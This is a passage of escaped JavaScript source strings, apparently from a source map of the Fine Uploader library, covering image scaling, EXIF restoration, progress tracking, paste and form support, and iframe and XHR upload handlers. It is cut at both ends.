uploadData.setParentId(scaledId, originalId);\n                    paramsStore.addReadOnly(scaledId, params);\n                });\n\n                // If any scaled images are tied to this parent image, be SURE we send its UUID as an upload request\n                // parameter as well.\n                if (scaledIds.length) {\n                    (function() {\n                        var param = {};\n                        param[uuidParamName] = uploadData.retrieve({id: originalId}).uuid;\n                        paramsStore.addReadOnly(originalId, param);\n                    }());\n                }\n            }\n        }\n    });\n};\n\nqq.extend(qq.Scaler.prototype, {\n    scaleImage: function(id, specs, api) {\n        \"use strict\";\n\n        if (!qq.supportedFeatures.scaling) {\n            throw new qq.Error(\"Scaling is not supported in this browser!\");\n        }\n\n        var scalingEffort = new qq.Promise(),\n            log = api.log,\n            file = api.getFile(id),\n            uploadData = api.uploadData.retrieve({id: id}),\n            name = uploadData && uploadData.name,\n            uuid = uploadData && uploadData.uuid,\n            scalingOptions = {\n                customResizer: specs.customResizer,\n                sendOriginal: false,\n                orient: specs.orient,\n                defaultType: specs.type || null,\n                defaultQuality: specs.quality,\n                failedToScaleText: \"Unable to scale\",\n                sizes: [{name: \"\", maxSize: specs.maxSize}]\n            },\n            scaler = new qq.Scaler(scalingOptions, log);\n\n        if (!qq.Scaler || !qq.supportedFeatures.imagePreviews || !file) {\n            scalingEffort.failure();\n\n            log(\"Could not generate requested scaled image for \" + id + \".  \" +\n                \"Scaling is either not possible in this browser, or the file could not be located.\", \"error\");\n        }\n        else {\n            (qq.bind(function() {\n                // Assumption: There will never be more than one record\n                var record = scaler.getFileRecords(uuid, name, file)[0];\n\n                if (record && record.blob instanceof qq.BlobProxy) {\n                    record.blob.create().then(scalingEffort.success, scalingEffort.failure);\n                }\n                else {\n                    log(id + \" is not a scalable image!\", \"error\");\n                    scalingEffort.failure();\n                }\n            }, this)());\n        }\n\n        return scalingEffort;\n    },\n\n    // NOTE: We cannot reliably determine at this time if the UA supports a specific MIME type for the target format.\n    // image/jpeg and image/png are the only safe choices at this time.\n    _determineOutputType: function(spec) {\n        \"use strict\";\n\n        var requestedType = spec.requestedType,\n            defaultType = spec.defaultType,\n            referenceType = spec.refType;\n\n        // If a default type and requested type have not been specified, this should be a\n        // JPEG if the original type is a JPEG, otherwise, a PNG.\n        if (!defaultType && !requestedType) {\n            if (referenceType !== \"image/jpeg\") {\n                return \"image/png\";\n            }\n            return referenceType;\n        }\n\n        // A specified default type is used when a requested type is not specified.\n        if (!requestedType) {\n            return defaultType;\n        }\n\n        // If requested type is specified, use it, as long as this recognized type is supported by the current UA\n        if (qq.indexOf(Object.keys(qq.Identify.prototype.PREVIEWABLE_MIME_TYPES), requestedType) >= 0) {\n            if (requestedType === \"image/tiff\") {\n                return qq.supportedFeatures.tiffPreviews ? requestedType : defaultType;\n            }\n\n            return requestedType;\n        }\n\n        return defaultType;\n    },\n\n    // Get a file name for a generated scaled file record, based on the provided scaled image description\n    _getName: function(originalName, scaledVersionProperties) {\n        \"use strict\";\n\n        var startOfExt = originalName.lastIndexOf(\".\"),\n            versionType = scaledVersionProperties.type || \"image/png\",\n            referenceType = scaledVersionProperties.refType,\n            scaledName = \"\",\n            scaledExt = qq.getExtension(originalName),\n            nameAppendage = \"\";\n\n        if (scaledVersionProperties.name && scaledVersionProperties.name.trim().length) {\n            nameAppendage = \" (\" + scaledVersionProperties.name + \")\";\n        }\n\n        if (startOfExt >= 0) {\n            scaledName = originalName.substr(0, startOfExt);\n\n            if (referenceType !== versionType) {\n                scaledExt = versionType.split(\"/\")[1];\n            }\n\n            scaledName += nameAppendage + \".\" + scaledExt;\n        }\n        else {\n            scaledName = originalName + nameAppendage;\n        }\n\n        return scaledName;\n    },\n\n    // We want the smallest scaled file to be uploaded first\n    _getSortedSizes: function(sizes) {\n        \"use strict\";\n\n        sizes = qq.extend([], sizes);\n\n        return sizes.sort(function(a, b) {\n            if (a.maxSize > b.maxSize) {\n                return 1;\n            }\n            if (a.maxSize < b.maxSize) {\n                return -1;\n            }\n            return 0;\n        });\n    },\n\n    _generateScaledImage: function(spec, sourceFile) {\n        \"use strict\";\n\n        var self = this,\n            customResizeFunction = spec.customResizeFunction,\n            log = spec.log,\n            maxSize = spec.maxSize,\n            orient = spec.orient,\n            type = spec.type,\n            quality = spec.quality,\n            failedText = spec.failedText,\n            includeExif = spec.includeExif && sourceFile.type === \"image/jpeg\" && type === \"image/jpeg\",\n            scalingEffort = new qq.Promise(),\n            imageGenerator = new qq.ImageGenerator(log),\n            canvas = document.createElement(\"canvas\");\n\n        log(\"Attempting to generate scaled version for \" + sourceFile.name);\n\n        imageGenerator.generate(sourceFile, canvas, {maxSize: maxSize, orient: orient, customResizeFunction: customResizeFunction}).then(function() {\n            var scaledImageDataUri = canvas.toDataURL(type, quality),\n                signalSuccess = function() {\n                    log(\"Success generating scaled version for \" + sourceFile.name);\n                    var blob = qq.dataUriToBlob(scaledImageDataUri);\n                    scalingEffort.success(blob);\n                };\n\n            if (includeExif) {\n                self._insertExifHeader(sourceFile, scaledImageDataUri, log).then(function(scaledImageDataUriWithExif) {\n                    scaledImageDataUri = scaledImageDataUriWithExif;\n                    signalSuccess();\n                },\n                function() {\n                    log(\"Problem inserting EXIF header into scaled image.  Using scaled image w/out EXIF data.\", \"error\");\n                    signalSuccess();\n                });\n            }\n            else {\n                signalSuccess();\n            }\n        }, function() {\n            log(\"Failed attempt to generate scaled version for \" + sourceFile.name, \"error\");\n            scalingEffort.failure(failedText);\n        });\n\n        return scalingEffort;\n    },\n\n    // Attempt to insert the original image's EXIF header into a scaled version.\n    _insertExifHeader: function(originalImage, scaledImageDataUri, log) {\n        \"use strict\";\n\n        var reader = new FileReader(),\n            insertionEffort = new qq.Promise(),\n            originalImageDataUri = \"\";\n\n        reader.onload = function() {\n            originalImageDataUri = reader.result;\n            insertionEffort.success(qq.ExifRestorer.restore(originalImageDataUri, scaledImageDataUri));\n        };\n\n        reader.onerror = function() {\n            log(\"Problem reading \" + originalImage.name + \" during attempt to transfer EXIF data to scaled version.\", \"error\");\n            insertionEffort.failure();\n        };\n\n        reader.readAsDataURL(originalImage);\n\n        return insertionEffort;\n    },\n\n    _dataUriToBlob: function(dataUri) {\n        \"use strict\";\n\n        var byteString, mimeString, arrayBuffer, intArray;\n\n        // convert base64 to raw binary data held in a string\n        if (dataUri.split(\",\")[0].indexOf(\"base64\") >= 0) {\n            byteString = atob(dataUri.split(\",\")[1]);\n        }\n        else {\n            byteString = decodeURI(dataUri.split(\",\")[1]);\n        }\n\n        // extract the MIME\n        mimeString = dataUri.split(\",\")[0]\n            .split(\":\")[1]\n            .split(\";\")[0];\n\n        // write the bytes of the binary string to an ArrayBuffer\n        arrayBuffer = new ArrayBuffer(byteString.length);\n        intArray = new Uint8Array(arrayBuffer);\n        qq.each(byteString, function(idx, character) {\n            intArray[idx] = character.charCodeAt(0);\n        });\n\n        return this._createBlob(arrayBuffer, mimeString);\n    },\n\n    _createBlob: function(data, mime) {\n        \"use strict\";\n\n        var BlobBuilder = window.BlobBuilder ||\n                window.WebKitBlobBuilder ||\n                window.MozBlobBuilder ||\n                window.MSBlobBuilder,\n            blobBuilder = BlobBuilder && new BlobBuilder();\n\n        if (blobBuilder) {\n            blobBuilder.append(data);\n            return blobBuilder.getBlob(mime);\n        }\n        else {\n            return new Blob([data], {type: mime});\n        }\n    }\n});\n","//Based on MinifyJpeg\n//http://elicon.blog57.fc2.com/blog-entry-206.html\n\nqq.ExifRestorer = (function()\n{\n   \n\tvar ExifRestorer = {};\n\t \n    ExifRestorer.KEY_STR = \"ABCDEFGHIJKLMNOP\" +\n                         \"QRSTUVWXYZabcdef\" +\n                         \"ghijklmnopqrstuv\" +\n                         \"wxyz0123456789+/\" +\n                         \"=\";\n\n    ExifRestorer.encode64 = function(input)\n    {\n        var output = \"\",\n            chr1, chr2, chr3 = \"\",\n            enc1, enc2, enc3, enc4 = \"\",\n            i = 0;\n\n        do {\n            chr1 = input[i++];\n            chr2 = input[i++];\n            chr3 = input[i++];\n\n            enc1 = chr1 >> 2;\n            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);\n            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);\n            enc4 = chr3 & 63;\n\n            if (isNaN(chr2)) {\n               enc3 = enc4 = 64;\n            } else if (isNaN(chr3)) {\n               enc4 = 64;\n            }\n\n            output = output +\n               this.KEY_STR.charAt(enc1) +\n               this.KEY_STR.charAt(enc2) +\n               this.KEY_STR.charAt(enc3) +\n               this.KEY_STR.charAt(enc4);\n            chr1 = chr2 = chr3 = \"\";\n            enc1 = enc2 = enc3 = enc4 = \"\";\n        } while (i < input.length);\n\n        return output;\n    };\n    \n    ExifRestorer.restore = function(origFileBase64, resizedFileBase64)\n    {\n        var expectedBase64Header = \"data:image/jpeg;base64,\";\n\n        if (!origFileBase64.match(expectedBase64Header))\n        {\n        \treturn resizedFileBase64;\n        }       \n        \n        var rawImage = this.decode64(origFileBase64.replace(expectedBase64Header, \"\"));\n        var segments = this.slice2Segments(rawImage);\n                \n        var image = this.exifManipulation(resizedFileBase64, segments);\n        \n        return expectedBase64Header + this.encode64(image);\n        \n    };\n\n\n    ExifRestorer.exifManipulation = function(resizedFileBase64, segments)\n    {\n            var exifArray = this.getExifArray(segments),\n                newImageArray = this.insertExif(resizedFileBase64, exifArray),\n                aBuffer = new Uint8Array(newImageArray);\n\n            return aBuffer;\n    };\n\n\n    ExifRestorer.getExifArray = function(segments)\n    {\n            var seg;\n            for (var x = 0; x < segments.length; x++)\n            {\n                seg = segments[x];\n                if (seg[0] == 255 & seg[1] == 225) //(ff e1)\n                {\n                    return seg;\n                }\n            }\n            return [];\n    };\n\n\n    ExifRestorer.insertExif = function(resizedFileBase64, exifArray)\n    {\n            var imageData = resizedFileBase64.replace(\"data:image/jpeg;base64,\", \"\"),\n                buf = this.decode64(imageData),\n                separatePoint = buf.indexOf(255,3),\n                mae = buf.slice(0, separatePoint),\n                ato = buf.slice(separatePoint),\n                array = mae;\n\n            array = array.concat(exifArray);\n            array = array.concat(ato);\n           return array;\n    };\n\n\n    \n    ExifRestorer.slice2Segments = function(rawImageArray)\n    {\n        var head = 0,\n            segments = [];\n\n        while (1)\n        {\n            if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 218){break;}\n            if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 216)\n            {\n                head += 2;\n            }\n            else\n            {\n                var length = rawImageArray[head + 2] * 256 + rawImageArray[head + 3],\n                    endPoint = head + length + 2,\n                    seg = rawImageArray.slice(head, endPoint);\n                segments.push(seg);\n                head = endPoint;\n            }\n            if (head > rawImageArray.length){break;}\n        }\n\n        return segments;\n    };\n\n\n    \n    ExifRestorer.decode64 = function(input) \n    {\n        var output = \"\",\n            chr1, chr2, chr3 = \"\",\n            enc1, enc2, enc3, enc4 = \"\",\n            i = 0,\n            buf = [];\n\n        // remove all characters that are not A-Z, a-z, 0-9, +, /, or =\n        var base64test = /[^A-Za-z0-9\\+\\/\\=]/g;\n        if (base64test.exec(input)) {\n            throw new Error(\"There were invalid base64 characters in the input text.  \" +\n                \"Valid base64 characters are A-Z, a-z, 0-9, '+', '/',and '='\");\n        }\n        input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, \"\");\n\n        do {\n            enc1 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc2 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc3 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc4 = this.KEY_STR.indexOf(input.charAt(i++));\n\n            chr1 = (enc1 << 2) | (enc2 >> 4);\n            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);\n            chr3 = ((enc3 & 3) << 6) | enc4;\n\n            buf.push(chr1);\n\n            if (enc3 != 64) {\n               buf.push(chr2);\n            }\n            if (enc4 != 64) {\n               buf.push(chr3);\n            }\n\n            chr1 = chr2 = chr3 = \"\";\n            enc1 = enc2 = enc3 = enc4 = \"\";\n\n        } while (i < input.length);\n\n        return buf;\n    };\n\n    \n    return ExifRestorer;\n})();\n","/* globals qq */\n/**\n * Keeps a running tally of total upload progress for a batch of files.\n *\n * @param callback Invoked when total progress changes, passing calculated total loaded & total size values.\n * @param getSize Function that returns the size of a file given its ID\n * @constructor\n */\nqq.TotalProgress = function(callback, getSize) {\n    \"use strict\";\n\n    var perFileProgress = {},\n        totalLoaded = 0,\n        totalSize = 0,\n\n        lastLoadedSent = -1,\n        lastTotalSent = -1,\n        callbackProxy = function(loaded, total) {\n            if (loaded !== lastLoadedSent || total !== lastTotalSent) {\n                callback(loaded, total);\n            }\n\n            lastLoadedSent = loaded;\n            lastTotalSent = total;\n        },\n\n        /**\n         * @param failed Array of file IDs that have failed\n         * @param retryable Array of file IDs that are retryable\n         * @returns true if none of the failed files are eligible for retry\n         */\n        noRetryableFiles = function(failed, retryable) {\n            var none = true;\n\n            qq.each(failed, function(idx, failedId) {\n                if (qq.indexOf(retryable, failedId) >= 0) {\n                    none = false;\n                    return false;\n                }\n            });\n\n            return none;\n        },\n\n        onCancel = function(id) {\n            updateTotalProgress(id, -1, -1);\n            delete perFileProgress[id];\n        },\n\n        onAllComplete = function(successful, failed, retryable) {\n            if (failed.length === 0 || noRetryableFiles(failed, retryable)) {\n                callbackProxy(totalSize, totalSize);\n                this.reset();\n            }\n        },\n\n        onNew = function(id) {\n            var size = getSize(id);\n\n            // We might not know the size yet, such as for blob proxies\n            if (size > 0) {\n                updateTotalProgress(id, 0, size);\n                perFileProgress[id] = {loaded: 0, total: size};\n            }\n        },\n\n        /**\n         * Invokes the callback with the current total progress of all files in the batch.  Called whenever it may\n         * be appropriate to re-calculate and disseminate this data.\n         *\n         * @param id ID of a file that has changed in some important way\n         * @param newLoaded New loaded value for this file.  -1 if this value should no longer be part of calculations\n         * @param newTotal New total size of the file.  -1 if this value should no longer be part of calculations\n         */\n        updateTotalProgress = function(id, newLoaded, newTotal) {\n            var oldLoaded = perFileProgress[id] ? perFileProgress[id].loaded : 0,\n                oldTotal = perFileProgress[id] ? perFileProgress[id].total : 0;\n\n            if (newLoaded === -1 && newTotal === -1) {\n                totalLoaded -= oldLoaded;\n                totalSize -= oldTotal;\n            }\n            else {\n                if (newLoaded) {\n                    totalLoaded += newLoaded - oldLoaded;\n                }\n                if (newTotal) {\n                    totalSize += newTotal - oldTotal;\n                }\n            }\n\n            callbackProxy(totalLoaded, totalSize);\n        };\n\n    qq.extend(this, {\n        // Called when a batch of files has completed uploading.\n        onAllComplete: onAllComplete,\n\n        // Called when the status of a file has changed.\n        onStatusChange: function(id, oldStatus, newStatus) {\n            if (newStatus === qq.status.CANCELED || newStatus === qq.status.REJECTED) {\n                onCancel(id);\n            }\n            else if (newStatus === qq.status.SUBMITTING) {\n                onNew(id);\n            }\n        },\n\n        // Called whenever the upload progress of an individual file has changed.\n        onIndividualProgress: function(id, loaded, total) {\n            updateTotalProgress(id, loaded, total);\n            perFileProgress[id] = {loaded: loaded, total: total};\n        },\n\n        // Called whenever the total size of a file has changed, such as when the size of a generated blob is known.\n        onNewSize: function(id) {\n            onNew(id);\n        },\n\n        reset: function() {\n            perFileProgress = {};\n            totalLoaded = 0;\n            totalSize = 0;\n        }\n    });\n};\n","/*globals qq*/\nqq.PasteSupport = function(o) {\n    \"use strict\";\n\n    var options, detachPasteHandler;\n\n    options = {\n        targetElement: null,\n        callbacks: {\n            log: function(message, level) {},\n            pasteReceived: function(blob) {}\n        }\n    };\n\n    function isImage(item) {\n        return item.type &&\n            item.type.indexOf(\"image/\") === 0;\n    }\n\n    function registerPasteHandler() {\n        detachPasteHandler = qq(options.targetElement).attach(\"paste\", function(event) {\n            var clipboardData = event.clipboardData;\n\n            if (clipboardData) {\n                qq.each(clipboardData.items, function(idx, item) {\n                    if (isImage(item)) {\n                        var blob = item.getAsFile();\n                        options.callbacks.pasteReceived(blob);\n                    }\n                });\n            }\n        });\n    }\n\n    function unregisterPasteHandler() {\n        if (detachPasteHandler) {\n            detachPasteHandler();\n        }\n    }\n\n    qq.extend(options, o);\n    registerPasteHandler();\n\n    qq.extend(this, {\n        reset: function() {\n            unregisterPasteHandler();\n        }\n    });\n};\n","/* globals qq */\n/**\n * Module that handles support for existing forms.\n *\n * @param options Options passed from the integrator-supplied options related to form support.\n * @param startUpload Callback to invoke when files \"stored\" should be uploaded.\n * @param log Proxy for the logger\n * @constructor\n */\nqq.FormSupport = function(options, startUpload, log) {\n    \"use strict\";\n    var self  = this,\n        interceptSubmit = options.interceptSubmit,\n        formEl = options.element,\n        autoUpload = options.autoUpload;\n\n    // Available on the public API associated with this module.\n    qq.extend(this, {\n        // To be used by the caller to determine if the endpoint will be determined by some processing\n        // that occurs in this module, such as if the form has an action attribute.\n        // Ignore if `attachToForm === false`.\n        newEndpoint: null,\n\n        // To be used by the caller to determine if auto uploading should be allowed.\n        // Ignore if `attachToForm === false`.\n        newAutoUpload: autoUpload,\n\n        // true if a form was detected and is being tracked by this module\n        attachedToForm: false,\n\n        // Returns an object with names and values for all valid form elements associated with the attached form.\n        getFormInputsAsObject: function() {\n            /* jshint eqnull:true */\n            if (formEl == null) {\n                return null;\n            }\n\n            return self._form2Obj(formEl);\n        }\n    });\n\n    // If the form contains an action attribute, this should be the new upload endpoint.\n    function determineNewEndpoint(formEl) {\n        if (formEl.getAttribute(\"action\")) {\n            self.newEndpoint = formEl.getAttribute(\"action\");\n        }\n    }\n\n    // Return true only if the form is valid, or if we cannot make this determination.\n    // If the form is invalid, ensure invalid field(s) are highlighted in the UI.\n    function validateForm(formEl, nativeSubmit) {\n        if (formEl.checkValidity && !formEl.checkValidity()) {\n            log(\"Form did not pass validation checks - will not upload.\", \"error\");\n            nativeSubmit();\n        }\n        else {\n            return true;\n        }\n    }\n\n    // Intercept form submit attempts, unless the integrator has told us not to do this.\n    function maybeUploadOnSubmit(formEl) {\n        var nativeSubmit = formEl.submit;\n\n        // Intercept and squelch submit events.\n        qq(formEl).attach(\"submit\", function(event) {\n            event = event || window.event;\n\n            if (event.preventDefault) {\n                event.preventDefault();\n            }\n            else {\n                event.returnValue = false;\n            }\n\n            validateForm(formEl, nativeSubmit) && startUpload();\n        });\n\n        // The form's `submit()` function may be called instead (i.e. via jQuery.submit()).\n        // Intercept that too.\n        formEl.submit = function() {\n            validateForm(formEl, nativeSubmit) && startUpload();\n        };\n    }\n\n    // If the element value passed from the uploader is a string, assume it is an element ID - select it.\n    // The rest of the code in this module depends on this being an HTMLElement.\n    function determineFormEl(formEl) {\n        if (formEl) {\n            if (qq.isString(formEl)) {\n                formEl = document.getElementById(formEl);\n            }\n\n            if (formEl) {\n                log(\"Attaching to form element.\");\n                determineNewEndpoint(formEl);\n                interceptSubmit && maybeUploadOnSubmit(formEl);\n            }\n        }\n\n        return formEl;\n    }\n\n    formEl = determineFormEl(formEl);\n    this.attachedToForm = !!formEl;\n};\n\nqq.extend(qq.FormSupport.prototype, {\n    // Converts all relevant form fields to key/value pairs.  This is meant to mimic the data a browser will\n    // construct from a given form when the form is submitted.\n    _form2Obj: function(form) {\n        \"use strict\";\n        var obj = {},\n            notIrrelevantType = function(type) {\n                var irrelevantTypes = [\n                    \"button\",\n                    \"image\",\n                    \"reset\",\n                    \"submit\"\n                ];\n\n                return qq.indexOf(irrelevantTypes, type.toLowerCase()) < 0;\n            },\n            radioOrCheckbox = function(type) {\n                return qq.indexOf([\"checkbox\", \"radio\"], type.toLowerCase()) >= 0;\n            },\n            ignoreValue = function(el) {\n                if (radioOrCheckbox(el.type) && !el.checked) {\n                    return true;\n                }\n\n                return el.disabled && el.type.toLowerCase() !== \"hidden\";\n            },\n            selectValue = function(select) {\n                var value = null;\n\n                qq.each(qq(select).children(), function(idx, child) {\n                    if (child.tagName.toLowerCase() === \"option\" && child.selected) {\n                        value = child.value;\n                        return false;\n                    }\n                });\n\n                return value;\n            };\n\n        qq.each(form.elements, function(idx, el) {\n            if ((qq.isInput(el, true) || el.tagName.toLowerCase() === \"textarea\") &&\n                notIrrelevantType(el.type) &&\n                !ignoreValue(el)) {\n\n                obj[el.name] = el.value;\n            }\n            else if (el.tagName.toLowerCase() === \"select\" && !ignoreValue(el)) {\n                var value = selectValue(el);\n\n                if (value !== null) {\n                    obj[el.name] = value;\n                }\n            }\n        });\n\n        return obj;\n    }\n});\n","/*globals qq*/\n/**\n * Upload handler used that assumes the current user agent does not have any support for the\n * File API, and, therefore, makes use of iframes and forms to submit the files directly to\n * a generic server.\n *\n * @param options Options passed from the base handler\n * @param proxy Callbacks & methods used to query for or push out data/changes\n */\nqq.traditional = qq.traditional || {};\nqq.traditional.FormUploadHandler = function(options, proxy) {\n    \"use strict\";\n\n    var handler = this,\n        getName = proxy.getName,\n        getUuid = proxy.getUuid,\n        log = proxy.log;\n\n    /**\n     * Returns json object received by iframe from server.\n     */\n    function getIframeContentJson(id, iframe) {\n        /*jshint evil: true*/\n\n        var response, doc, innerHtml;\n\n        //IE may throw an \"access is denied\" error when attempting to access contentDocument on the iframe in some cases\n        try {\n            // iframe.contentWindow.document - for IE<7\n            doc = iframe.contentDocument || iframe.contentWindow.document;\n            innerHtml = doc.body.innerHTML;\n\n            log(\"converting iframe's innerHTML to JSON\");\n            log(\"innerHTML = \" + innerHtml);\n            //plain text response may be wrapped in <pre> tag\n            if (innerHtml && innerHtml.match(/^<pre/i)) {\n                innerHtml = doc.body.firstChild.firstChild.nodeValue;\n            }\n\n            response = handler._parseJsonResponse(innerHtml);\n        }\n        catch (error) {\n            log(\"Error when attempting to parse form upload response (\" + error.message + \")\", \"error\");\n            response = {success: false};\n        }\n\n        return response;\n    }\n\n    /**\n     * Creates form, that will be submitted to iframe\n     */\n    function createForm(id, iframe) {\n        var params = options.paramsStore.get(id),\n            method = options.method.toLowerCase() === \"get\" ? \"GET\" : \"POST\",\n            endpoint = options.endpointStore.get(id),\n            name = getName(id);\n\n        params[options.uuidName] = getUuid(id);\n        params[options.filenameParam] = name;\n\n        return handler._initFormForUpload({\n            method: method,\n            endpoint: endpoint,\n            params: params,\n            paramsInBody: options.paramsInBody,\n            targetName: iframe.name\n        });\n    }\n\n    this.uploadFile = function(id) {\n        var input = handler.getInput(id),\n            iframe = handler._createIframe(id),\n            promise = new qq.Promise(),\n            form;\n\n        form = createForm(id, iframe);\n        form.appendChild(input);\n\n        handler._attachLoadEvent(iframe, function(responseFromMessage) {\n            log(\"iframe loaded\");\n\n            var response = responseFromMessage ? responseFromMessage : getIframeContentJson(id, iframe);\n\n            handler._detachLoadEvent(id);\n\n            //we can't remove an iframe if the iframe doesn't belong to the same domain\n            if (!options.cors.expected) {\n                qq(iframe).remove();\n            }\n\n            if (response.success) {\n                promise.success(response);\n            }\n            else {\n                promise.failure(response);\n            }\n        });\n\n        log(\"Sending upload request for \" + id);\n        form.submit();\n        qq(form).remove();\n\n        return promise;\n    };\n\n    qq.extend(this, new qq.FormUploadHandler({\n        options: {\n            isCors: options.cors.expected,\n            inputName: options.inputName\n        },\n\n        proxy: {\n            onCancel: options.onCancel,\n            getName: getName,\n            getUuid: getUuid,\n            log: log\n        }\n    }));\n};\n","/*globals qq*/\n/**\n * Upload handler used to upload to traditional endpoints.  It depends on File API support, and, therefore,\n * makes use of `XMLHttpRequest` level 2 to upload `File`s and `Blob`s to a generic server.\n *\n * @param spec Options passed from the base handler\n * @param proxy Callbacks & methods used to query for or push out data/changes\n */\nqq.traditional = qq.traditional || {};\nqq.traditional.XhrUploadHandler = function(spec, proxy) {\n    \"use strict\";\n\n    var handler = this,\n        getName = proxy.getName,\n        getSize = proxy.getSize,\n        getUuid = proxy.getUuid,\n        log = proxy.log,\n        multipart = spec.forceMultipart || spec.paramsInBody,\n\n        addChunkingSpecificParams = function(id, params, chunkData) {\n            var size = getSize(id),\n                name = getName(id);\n\n            params[spec.chunking.paramNames.partIndex] = chunkData.part;\n            params[spec.chunking.paramNames.partByteOffset] = chunkData.start;\n            params[spec.chunking.paramNames.chunkSize] = chunkData.size;\n            params[spec.chunking.paramNames.totalParts] = chunkData.count;\n            params[spec.totalFileSizeName] = size;\n\n            /**\n             * When a Blob is sent in a multipart request, the filename value in the content-disposition header is either \"blob\"\n             * or an empty string.  So, we will need to include the actual file name as a param in this case.\n             */\n            if (multipart) {\n                params[spec.filenameParam] = name;\n            }\n        },\n\n        allChunksDoneRequester = new qq.traditional.AllChunksDoneAjaxRequester({\n            cors: spec.cors,\n            endpoint: spec.chunking.success.endpoint,\n            log: log\n        }),\n\n        createReadyStateChangedHandler = function(id, xhr) {\n            var promise = new qq.Promise();\n\n            xhr.onreadystatechange = function() {\n                if (xhr.readyState === 4) {\n                    var result = onUploadOrChunkComplete(id, xhr);\n\n                    if (result.success) {\n                        promise.success(result.response, xhr);\n                    }\n                    else {\n                        promise.failure(result.response, xhr);\n                    }\n                }\n            };\n\n            return promise;\n        },\n\n        getChunksCompleteParams = function(id) {\n            var params = spec.paramsStore.get(id),\n                name = getName(id),\n                size = getSize(id);\n\n            params[spec.uuidName] = getUuid(id);\n            params[spec.filenameParam] = name;\n            params[spec.totalFileSizeName] = size;\n            params[spec.chunking.paramNames.totalParts] = handler._getTotalChunks(id);\n\n            return params;\n        },\n\n        isErrorUploadResponse = function(xhr, response) {\n            return qq.indexOf([200, 201, 202, 203, 204], xhr.status) < 0 ||\n                !response.success ||\n                response.reset;\n        },\n\n        onUploadOrChunkComplete = function(id, xhr) {\n            var response;\n\n            log(\"xhr - server response received for \" + id);\n            log(\"responseText = \" + xhr.responseText);\n\n            response = parseResponse(true, xhr);\n\n            return {\n                success: !isErrorUploadResponse(xhr, response),\n                response: response\n            };\n        },\n\n        // If this is an upload response, we require a JSON payload, otherwise, it is optional.\n        parseResponse = function(upload, xhr) {\n            var response = {};\n\n            try {\n                log(qq.format(\"Received response status {} with body: {}\", xhr.status, xhr.responseText));\n                response = qq.parseJson(xhr.responseText);\n            }\n            catch (error) {\n                upload && log(\"Error when attempting to parse xhr response text (\" + error.message + \")\", \"error\");\n            }\n\n            return response;\n        },\n\n        sendChunksCompleteRequest = function(id) {\n            var promise = new qq.Promise();\n\n            allChunksDoneRequester.complete(\n                    id,\n                    handler._createXhr(id),\n                    getChunksCompleteParams(id),\n                    spec.customHeaders.get(id)\n                )\n                .then(function(xhr) {\n                    promise.success(parseResponse(false, xhr), xhr);\n                }, function(xhr) {\n                    promise.failure(parseResponse(false, xhr), xhr);\n                });\n\n            return promise;\n        },\n\n        setParamsAndGetEntityToSend = function(params, xhr, fileOrBlob, id) {\n            var formData = new FormData(),\n                method = spec.method,\n                endpoint = spec.endpointStore.get(id),\n                name = getName(id),\n                size = getSize(id);\n\n            params[spec.uuidName] = getUuid(id);\n            params[spec.filenameParam] = name;\n\n            if (multipart) {\n                params[spec.totalFileSizeName] = size;\n            }\n\n            //build query string\n            if (!spec.paramsInBody) {\n                if (!multipart) {\n                    params[spec.inputName] = name;\n                }\n                endpoint = qq.obj2url(params, endpoint);\n            }\n\n            xhr.open(method, endpoint, true);\n\n            if (spec.cors.expected && spec.cors.sendCredentials) {\n                xhr.withCredentials = true;\n            }\n\n            if (multipart) {\n                if (spec.paramsInBody) {\n                    qq.obj2FormData(params, formData);\n                }\n\n                formData.append(spec.inputName, fileOrBlob);\n                return formData;\n            }\n\n            return fileOrBlob;\n        },\n\n        setUploadHeaders = function(id, xhr) {\n            var extraHeaders = spec.customHeaders.get(id),\n                fileOrBlob = handler.getFile(id);\n\n            xhr.setRequestHeader(\"Accept\", \"application/json\");\n            xhr.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\n            xhr.setRequestHeader(\"Cache-Control\", \"no-cache\");\n\n            if (!multipart) {\n                xhr.setRequestHeader(\"Content-Type\", \"application/octet-stream\");\n                //NOTE: return mime type in xhr works on chrome 16.0.9 firefox 11.0a2\n                xhr.setRequestHeader(\"X-Mime-Type\", fileOrBlob.type);\n            }\n\n            qq.each(extraHeaders, function(name, val) {\n                xhr.setRequestHeader(name, val);\n            });\n        };\n\n    qq.extend(this, {\n        uploadChunk: function(id, chunkIdx, resuming) {\n            var chunkData = handler._getChunkData(id, chunkIdx),\n                xhr = handler._createXhr(id, chunkIdx),\n                size = getSize(id),\n                promise, toSend, params;\n\n            promise = createReadyStateChangedHandler(id, xhr);\n            handler._registerProgressHandler(id, chunkIdx, chunkData.size);\n            params = spec.paramsStore.get(id);\n            addChunkingSpecificParams(id, params, chunkData);\n\n            if (resuming) {\n                params[spec.resume.paramNames.resuming] = true;\n            }\n\n            toSend = setParamsAndGetEntityToSend(params, xhr, chunkData.blob, id);\n            setUploadHeaders(id, xhr);\n            xhr.send(toSend);\n\n            return promise;\n        },\n\n        uploadFile: function(id) {\n            var fileOrBlob = handler.getFile(id),\n                promise, xhr, params, toSend;\n\n            xhr = handler._createXhr(id);\n            handler._registerProgressHandler(id);\n            promise = createReadyStateChangedHandler(id, xhr);\n            params = spec.paramsStore.get(id);\n            toSend = setParamsAndGetEntityToSend(params, xhr, fileOrBlob, id);\n            setUploadHeaders(id, xhr);\n            xhr.send(toSend);\n\n            return promise;\n        }\n    });\n\n    qq.extend(this, new qq.XhrUploadHandler({\n        options: qq.extend({namespace: \"traditional\"}, spec),\n        proxy: qq.extend({getEndpoint: spec.endpointStore.get}, proxy)\n    }));\n\n    qq.override(this, function(super_) {\n        return {\n            finalizeChunks: function(id) {\n                if (spec.chunking.success.endpoint) {\n                    return sendChunksCompleteRequest(id);\n                }\n                else {\n                    return super_.finalizeChunks(id, qq.bind(parseResponse, this, true));\n                }\n            }\n        };\n    });\n};\n","/*globals qq*/\n/**\n * Ajax requester used to send a POST to a traditional endpoint once all chunks for a specific file have uploaded\n * successfully.\n *\n * @param o Options from the caller - will override the defaults.\n * @constructor\n */\nqq.traditional.AllChunksDoneAjaxRequester = function(o) {\n    \"use 